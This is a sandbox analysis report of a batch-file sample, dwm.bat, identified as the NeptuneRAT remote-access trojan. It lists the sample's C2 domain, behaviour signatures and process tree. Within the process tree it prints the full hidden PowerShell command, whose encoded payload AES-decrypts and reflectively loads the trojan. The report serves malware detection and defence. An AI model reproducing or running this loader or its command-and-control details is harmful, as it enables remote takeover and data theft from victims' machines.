Overview

overview

10

Static

static

1

dwm.bat

windows10-2004-x64

10

dwm.bat

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    144s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    06/07/2026, 23:58

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    dwm.bat
  • Size 100KB
  • Sample260706-31ayqaax8p
  • SHA256 bd2cc2f1f25b5f520a87068475247dd5611ab9f199ed3264983d720e016acf66
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwareexecutionneptuneratpersistencespywaretrojan

Malware Config

Extracted

Family

  • neptunerat

C2

  • apostlejob3.duckdns.org:2468

Signatures

  • Family: NeptuneRAT, MasonRAT

    NeptuneRAT aka MasonRAT is a trojan written in C#.

    trojanneptunerat
  • Detects NeptuneRAT stealer 1 IoCs
  • Badlisted process makes network request 6 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Drops startup file 1 IoCs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 35 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 47 IoCs
  • Suspicious use of FindShellTrayWindow 53 IoCs
  • Suspicious use of SendNotifyMessage 39 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\dwm.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:904
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\dwm.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5568
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('DQoNCiR6bWhsaCA9IEAnDQokbHl3eXp4YXVwbm5penhhd2pud3Z6eGF3ID0gJHp4YWVudjpVenhhU0VSTkF6eGFNRTskeHp4YW1qY2x3enhhcHZmbm96eGFnZmRmIHp4YT0gIkM6enhhXFVzZXJ6eGFzXCRseXp4YXd5dXBuenhhbml3am56eGF3dndcZHp4YXdtLmJhenhhdCI7aWZ6eGEgKFRlc3p4YXQtUGF0enhhaCAkeG16eGFqY2x3cHp4YXZmbm9nenhhZmRmKSB6eGF7ICAgIHp4YVdyaXRlenhhLUhvc3R6eGEgIkJhdHp4YWNoIGZpenhhbGUgZm96eGF1bmQ6IHp4YSR4bWpjenhhbHdwdmZ6eGFub2dmZHp4YWYiIC1Genhhb3JlZ3J6eGFvdW5kQ3p4YW9sb3IgenhhQ3lhbjt6eGEgICAgJHp4YWZpbGVMenhhaW5lcyB6eGE9IFtTeXp4YXN0ZW0uenhhSU8uRml6eGFsZV06Onp4YVJlYWRBenhhbGxMaW56eGFlcygkeHp4YW1qY2x3enhhcHZmbm96eGFnZmRmLHp4YSBbU3lzenhhdGVtLlR6eGFleHQuRXp4YW5jb2RpenhhbmddOjp6eGFVVEY4KXp4YTsgICAgenhhZm9yZWF6eGFjaCAoJHp4YWxpbmUgenhhaW4gJGZ6eGFpbGVMaXp4YW5lcykgenhheyAgICB6eGEgICAgaXp4YWYgKCRsenhhaW5lIC16eGFtYXRjaHp4YSAnXjo6enhhOiA/KC56eGErKSQnKXp4YSB7ICAgenhhICAgICB6eGEgICAgV3p4YXJpdGUtenhhSG9zdCB6eGEiSW5qZXp4YWN0aW9uenhhIGNvZGV6eGEgZGV0ZXp4YWN0ZWQgenhhaW4gdGh6eGFlIGJhdHp4YWNoIGZpenhhbGUuIiB6eGEtRm9yZXp4YWdyb3VuenhhZENvbG96eGFyIEN5YXp4YW47ICAgenhhICAgICB6eGEgICAgdHp4YXJ5IHsgenhhICAgICB6eGEgICAgIHp4YSAgICAgenhhJGRlY296eGFkZWRCeXp4YXRlcyA9enhhIFtTeXN6eGF0ZW0uQ3p4YW9udmVyenhhdF06OkZ6eGFyb21CYXp4YXNlNjRTenhhdHJpbmd6eGEoJG1hdHp4YWNoZXNbenhhMV0uVHJ6eGFpbSgpKXp4YTsgICAgenhhICAgICB6eGEgICAgIHp4YSAgJGluenhhamVjdGl6eGFvbkNvZHp4YWUgPSBbenhhU3lzdGV6eGFtLlRleHp4YXQuRW5jenhhb2Rpbmd6eGFdOjpVbnp4YWljb2RlenhhLkdldFN6eGF0cmluZ3p4YSgkZGVjenhhb2RlZEJ6eGF5dGVzKXp4YTsgICAgenhhICAgICB6eGEgICAgIHp4YSAgV3JpenhhdGUtSG96eGFzdCAiSXp4YW5qZWN0enhhaW9uIGN6eGFvZGUgZHp4YWVjb2RlenhhZCBzdWN6eGFjZXNzZnp4YXVsbHkuenhhIiAtRm96eGFyZWdyb3p4YXVuZENvenhhbG9yIEd6eGFyZWVuO3p4YSAgICAgenhhICAgICB6eGEgICAgIHp4YSBXcml0enhhZS1Ib3N6eGF0ICJFeHp4YWVjdXRpenhhbmcgaW56eGFqZWN0aXp4YW9uIGNvenhhZGUuLi56eGEiIC1Gb3p4YXJlZ3JvenhhdW5kQ296eGFsb3IgWXp4YWVsbG93enhhOyAgICB6eGEgICAgIHp4YSAgICAgenhhICBJbnZ6eGFva2UtRXp4YXhwcmVzenhhc2lvbiB6eGEkaW5qZXp4YWN0aW9uenhhQ29kZTt6eGEgICAgIHp4YSAgICAgenhhICAgICB6eGEgYnJlYXp4YWs7ICAgenhhICAgICB6eGEgICAgfXp4YSBjYXRjenhhaCB7ICB6eGEgICAgIHp4YSAgICAgenhhICAgIFd6eGFyaXRlLXp4YUhvc3QgenhhIkVycm96eGFyIGR1cnp4YWluZyBkenhhZWNvZGl6eGFuZyBvcnp4YSBleGVjenhhdXRpbmd6eGEgaW5qZXp4YWN0aW9uenhhIGNvZGV6eGE6ICRfInp4YSAtRm9yenhhZWdyb3V6eGFuZENvbHp4YW9yIFJlenhhZDsgICB6eGEgICAgIHp4YSAgICB9enhhOyAgICB6eGEgICAgfXp4YTsgICAgenhhfTt9IGV6eGFsc2Uge3p4YSAgICAgenhhIFdyaXR6eGFlLUhvc3p4YXQgIlN5enhhc3RlbSB6eGFFcnJvcnp4YTogQmF0enhhY2ggZml6eGFsZSBub3p4YXQgZm91enhhbmQ6ICR6eGF4bWpjbHp4YXdwdmZuenhhb2dmZGZ6eGEiIC1Gb3p4YXJlZ3JvenhhdW5kQ296eGFsb3IgUnp4YWVkOyAgenhhICBleGl6eGF0O307Znp4YXVuY3Rpenhhb24gZ2J6eGFwcXVjeHp4YXJjZnhjenhhcWNjKCR6eGFwYXJhbXp4YV92YXIpenhhewkkYWV6eGFzX3Zhcnp4YT1bU3lzenhhdGVtLlN6eGFlY3VyaXp4YXR5LkNyenhheXB0b2d6eGFyYXBoeXp4YS5BZXNdenhhOjpDcmV6eGFhdGUoKXp4YTsJJGFlenhhc192YXJ6eGEuTW9kZXp4YT1bU3lzenhhdGVtLlN6eGFlY3VyaXp4YXR5LkNyenhheXB0b2d6eGFyYXBoeXp4YS5DaXBoenhhZXJNb2R6eGFlXTo6Q3p4YUJDOwkkenhhYWVzX3Z6eGFhci5QYXp4YWRkaW5nenhhPVtTeXN6eGF0ZW0uU3p4YWVjdXJpenhhdHkuQ3J6eGF5cHRvZ3p4YXJhcGh5enhhLlBhZGR6eGFpbmdNb3p4YWRlXTo6enhhUEtDUzd6eGE7CSRhZXp4YXNfdmFyenhhLktleT16eGFbU3lzdHp4YWVtLkNvenhhbnZlcnR6eGFdOjpGcnp4YW9tQmFzenhhZTY0U3R6eGFyaW5nKHp4YSdJbW9jenhhTkVuVVp6eGFiSEJtYXp4YVhJQnRvenhheTdYM0h6eGFDcjlRc3p4YUNESkFVenhhbGtxNDN6eGFxWUZnPXp4YScpOwkkenhhYWVzX3Z6eGFhci5JVnp4YT1bU3lzenhhdGVtLkN6eGFvbnZlcnp4YXRdOjpGenhhcm9tQmF6eGFzZTY0U3p4YXRyaW5nenhhKCdXQ3B6eGFRVkdxY3p4YStFNFNOenhhSGZLWVZ6eGE1alZRPXp4YT0nKTsJenhhJGRlY3J6eGF5cHRvcnp4YV92YXI9enhhJGFlc196eGF2YXIuQ3p4YXJlYXRlenhhRGVjcnl6eGFwdG9yKHp4YSk7CSRyenhhZXR1cm56eGFfdmFyPXp4YSRkZWNyenhheXB0b3J6eGFfdmFyLnp4YVRyYW5zenhhZm9ybUZ6eGFpbmFsQnp4YWxvY2soenhhJHBhcmF6eGFtX3Zhcnp4YSwgMCwgenhhJHBhcmF6eGFtX3Zhcnp4YS5MZW5nenhhdGgpOwl6eGEkZGVjcnp4YXlwdG9yenhhX3Zhci56eGFEaXNwb3p4YXNlKCk7enhhCSRhZXN6eGFfdmFyLnp4YURpc3Bvenhhc2UoKTt6eGEJJHJldHp4YXVybl92enhhYXI7fWZ6eGF1bmN0aXp4YW9uIG1venhhZWdzemx6eGFqYnR1dXp4YXF0eSgkenhhcGFyYW16eGFfdmFyKXp4YXsJJGt0enhhdW15Z2p6eGFndm95bXp4YXBkdT1OenhhZXctT2J6eGFqZWN0IHp4YVN5c3RlenhhbS5JTy56eGFNZW1vcnp4YXlTdHJlenhhYW0oLCR6eGFwYXJhbXp4YV92YXIpenhhOwkkZ2J6eGFuYWNweHp4YWhianZzenhhb3hhPU56eGFldy1PYnp4YWplY3QgenhhU3lzdGV6eGFtLklPLnp4YU1lbW9yenhheVN0cmV6eGFhbTsJJHp4YWhneGV2enhhZWhkZXZ6eGFkaGpzdHp4YT1OZXctenhhT2JqZWN6eGF0IFN5c3p4YXRlbS5JenhhTy5Db216eGFwcmVzc3p4YWlvbi5HenhhWmlwU3R6eGFyZWFtKHp4YSRrdHVtenhheWdqZ3Z6eGFveW1wZHp4YXUsIFtJenhhTy5Db216eGFwcmVzc3p4YWlvbi5Denhhb21wcmV6eGFzc2lvbnp4YU1vZGVdenhhOjpEZWN6eGFvbXByZXp4YXNzKTsJenhhJGhneGV6eGF2ZWhkZXp4YXZkaGpzenhhdC5Db3B6eGF5VG8oJHp4YWdibmFjenhhcHhoYmp6eGF2c294YXp4YSk7CSRoenhhZ3hldmV6eGFoZGV2ZHp4YWhqc3QuenhhRGlzcG96eGFzZSgpO3p4YQkka3R1enhhbXlnamd6eGF2b3ltcHp4YWR1LkRpenhhc3Bvc2V6eGEoKTsJJHp4YWdibmFjenhhcHhoYmp6eGF2c294YXp4YS5EaXNwenhhb3NlKCl6eGE7CSRnYnp4YW5hY3B4enhhaGJqdnN6eGFveGEuVHp4YW9BcnJhenhheSgpO316eGFmdW5jdHp4YWlvbiB2enhhZXJqcmp6eGFycWRvZHp4YWJudGkoenhhJHBhcmF6eGFtX3Zhcnp4YSwkcGFyenhhYW0yX3Z6eGFhcil7CXp4YSRud2ZoenhhbXNocHJ6eGFqbmx0ZHp4YWQ9W1N5enhhc3RlbS56eGFSZWZsZXp4YWN0aW9uenhhLkFzc2V6eGFtYmx5XXp4YTo6KCdkenhhYW9MJ1t6eGEtMS4uLXp4YTRdIC1qenhhb2luICd6eGEnKShbYnp4YXl0ZVtdenhhXSRwYXJ6eGFhbV92YXp4YXIpOwkkenhhbnVpdWd6eGFzb2xpcXp4YXp4amZ6enhhPSRud2Z6eGFobXNocHp4YXJqbmx0enhhZGQuRW56eGF0cnlQb3p4YWludDsJenhhJG51aXV6eGFnc29saXp4YXF6eGpmenhhei5JbnZ6eGFva2UoJHp4YW51bGwsenhhICRwYXJ6eGFhbTJfdnp4YWFyKTt9enhhJGhvc3R6eGEuVUkuUnp4YWF3VUkuenhhV2luZG96eGF3VGl0bHp4YWUgPSAkenhheG1qY2x6eGF3cHZmbnp4YW9nZmRmenhhOyR3ZmR6eGFleXBlbHp4YXNha29xenhhYnI9W1N6eGF5c3RlbXp4YS5JTy5GenhhaWxlXTp6eGE6KCd0eHp4YWVUbGxBenhhZGFlUid6eGFbLTEuLnp4YS0xMV0genhhLWpvaW56eGEgJycpKHp4YSR4bWpjenhhbHdwdmZ6eGFub2dmZHp4YWYpLlNwenhhbGl0KFt6eGFFbnZpcnp4YW9ubWVuenhhdF06Ok56eGFld0xpbnp4YWUpO2ZvenhhcmVhY2h6eGEgKCRpenp4YXRuYnBqenhhZ2pwaXN6eGF2aXAgaXp4YW4gJHdmenhhZGV5cGV6eGFsc2Frb3p4YXFicikgenhhewlpZiB6eGEoJGl6dHp4YW5icGpnenhhanBpc3Z6eGFpcC5TdHp4YWFydHNXenhhaXRoKCd6eGE6OiAnKXp4YSkJewkJenhhJHd4anV6eGFhd212eXp4YWx0YnJienhhYT0kaXp6eGF0bmJwanp4YWdqcGlzenhhdmlwLlN6eGF1YnN0cnp4YWluZygzenhhKTsJCWJ6eGFyZWFrO3p4YQl9fSRvenhhd2xobmt6eGF0aXRnbnp4YXFhZXI9enhhW3N0cml6eGFuZ1tdXXp4YSR3eGp1enhhYXdtdnl6eGFsdGJyYnp4YWEuU3BsenhhaXQoJ1x6eGEnKTskZXp4YXFtaWpsenhhbHV4b2V6eGFkc3NjPXp4YW1vZWdzenhhemxqYnR6eGF1dXF0eXp4YSAoZ2JwenhhcXVjeHJ6eGFjZnhjcXp4YWNjIChbenhhQ29udmV6eGFydF06Onp4YUZyb21CenhhYXNlNjR6eGFTdHJpbnp4YWcoJG93enhhbGhua3R6eGFpdGducXp4YWFlclswenhhXSkpKTt6eGEkbGt0aXp4YWJtZ292enhhZmh6eHB6eGFxPW1vZXp4YWdzemxqenhhYnR1dXF6eGF0eSAoZ3p4YWJwcXVjenhheHJjZnh6eGFjcWNjIHp4YShbQ29uenhhdmVydF16eGE6OkZyb3p4YW1CYXNlenhhNjRTdHJ6eGFpbmcoJHp4YW93bGhuenhha3RpdGd6eGFucWFlcnp4YVsxXSkpenhhKTt2ZXJ6eGFqcmpycXp4YWRvZGJuenhhdGkgJGV6eGFxbWlqbHp4YWx1eG9lenhhZHNzYyB6eGEkbnVsbHp4YTt2ZXJqenhhcmpycWR6eGFvZGJudHp4YWkgJGxrenhhdGlibWd6eGFvdmZoenp4YXhwcSAoenhhLFtzdHJ6eGFpbmdbXXp4YV0gKCclenhhKicpKTsNCidADQoNCiRobnBodiA9ICR6bWhsaCAtcmVwbGFjZSAnenhhJywgJycNCg0KSW52b2tlLUV4cHJlc3Npb24gJGhucGh2DQo=')) | Invoke-Expression"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Drops startup file
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4156
  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:4092
    • C:\Windows\explorer.exe
      explorer.exe /LOADSAVEDWINDOWS
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      PID:244
  • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
    "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:5132
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:3704

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        prep_Activatable Class_Hermes_perf.cache
        • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
        • Size 599B
        • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/244-204-0x000000000AC40000-0x000000000ADCE000-memory.dmp
        Download

        memory/4156-17-0x00007FFE8A760000-0x00007FFE8B104000-memory.dmp
        Download

        memory/4156-16-0x000001E0EC830000-0x000001E0EC83E000-memory.dmp
        Download

        memory/4156-6-0x00007FFE8A760000-0x00007FFE8B104000-memory.dmp
        Download

        memory/4156-7-0x00007FFE8A760000-0x00007FFE8B104000-memory.dmp
        Download

        memory/4156-8-0x00007FFE8A760000-0x00007FFE8B104000-memory.dmp
        Download

        memory/4156-9-0x00007FFE8A760000-0x00007FFE8B104000-memory.dmp
        Download

        memory/4156-10-0x00007FFE8A760000-0x00007FFE8B104000-memory.dmp
        Download

        memory/4156-11-0x00007FFE8A760000-0x00007FFE8B104000-memory.dmp
        Download

        memory/4156-12-0x00007FFE8A760000-0x00007FFE8B104000-memory.dmp
        Download

        memory/4156-13-0x00007FFE8A760000-0x00007FFE8B104000-memory.dmp
        Download

        memory/4156-14-0x000001E0EC7E0000-0x000001E0EC7E8000-memory.dmp
        Download

        memory/4156-18-0x00007FFE8A760000-0x00007FFE8B104000-memory.dmp
        Download

        memory/4156-5-0x00007FFE8A760000-0x00007FFE8B104000-memory.dmp
        Download

        memory/4156-0-0x00007FFE8A8EF000-0x00007FFE8A8F0000-memory.dmp
        Download

        memory/4156-23-0x00007FFE8A760000-0x00007FFE8B104000-memory.dmp
        Download

        memory/4156-19-0x000001E0EC950000-0x000001E0EC962000-memory.dmp
        Download

        memory/4156-21-0x00007FFE8A760000-0x00007FFE8B104000-memory.dmp
        Download

        memory/4156-22-0x00007FFE8A760000-0x00007FFE8B104000-memory.dmp
        Download

        memory/4156-15-0x00007FFE8A760000-0x00007FFE8B104000-memory.dmp
        Download

        memory/4156-3-0x00007FFE8A760000-0x00007FFE8B104000-memory.dmp
        Download

        memory/4156-4-0x000001E0EC800000-0x000001E0EC822000-memory.dmp
        Download

        memory/5132-57-0x0000029A83D70000-0x0000029A83D90000-memory.dmp
        Download

        memory/5132-41-0x0000029A93E90000-0x0000029A93F90000-memory.dmp
        Download

        memory/5132-39-0x0000029A83A30000-0x0000029A83A50000-memory.dmp
        Download

        memory/5132-71-0x0000029A94210000-0x0000029A94230000-memory.dmp
        Download

        memory/5132-25-0x0000029A801E0000-0x0000029A802E0000-memory.dmp
        Download